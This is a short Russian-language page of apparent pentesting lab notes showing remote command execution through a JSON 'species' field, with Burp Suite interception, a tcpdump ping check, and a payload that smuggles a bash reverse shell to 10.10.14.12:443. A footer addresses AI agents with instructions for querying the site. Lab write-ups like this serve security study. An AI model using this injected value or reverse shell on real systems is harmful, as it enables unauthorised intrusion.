> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md).

# RCE через JSON

<figure><img src="/files/5c304b6854040b003659657ae146b583f24141dc" alt=""><figcaption></figcaption></figure>

У нас есть возможность добавить «питомцев» с их видами, что позволяет выполнить JSON-инъекцию.

<figure><img src="/files/45aec16ffe97ca47c855e65baeca746667a9fbc8" alt=""><figcaption></figcaption></figure>

Мы перехватываем запросы с помощью Burp Suite и пытаемся модифицировать запрос, добавив запись с именем и видом:

<figure><img src="/files/72be7c368c2b255b589d51d9d949bbb25dae39ac" alt=""><figcaption></figcaption></figure>

Эта запись интерпретируется, что позволяет выполнить инъекцию.

```json
{
    "Имя": "jordan",
    "Вид": "jordan"
}

```

<figure><img src="/files/dc26d9c3b952b69a44f69a6a5998d642b8cd2517" alt=""><figcaption></figcaption></figure>

Мы настраиваем слушатель для ICMP-трасс, чтобы наблюдать за коммуникациями и тестировать инъекции команд:

```bash
sudo tcpdump -i tun0 icmp

```

Мы получаем обратный ping, что подтверждает возможность удалённого выполнения команд.

<figure><img src="/files/feaeffc9f141f6da0d8873b0678682984a199c70" alt=""><figcaption></figcaption></figure>

Затем мы отправляем запрос с `curl` на наш Python-сервер и также получаем запрос, что подтверждает уязвимость удалённого выполнения кода.

```bash
{
    "Имя": "jordan",
    "Вид": "test;bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261""
}

```

<figure><img src="/files/5cf94d172b170e759b890acda075d79d335102d8" alt="" width="502"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/json-web-token-jwt-attack/json-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
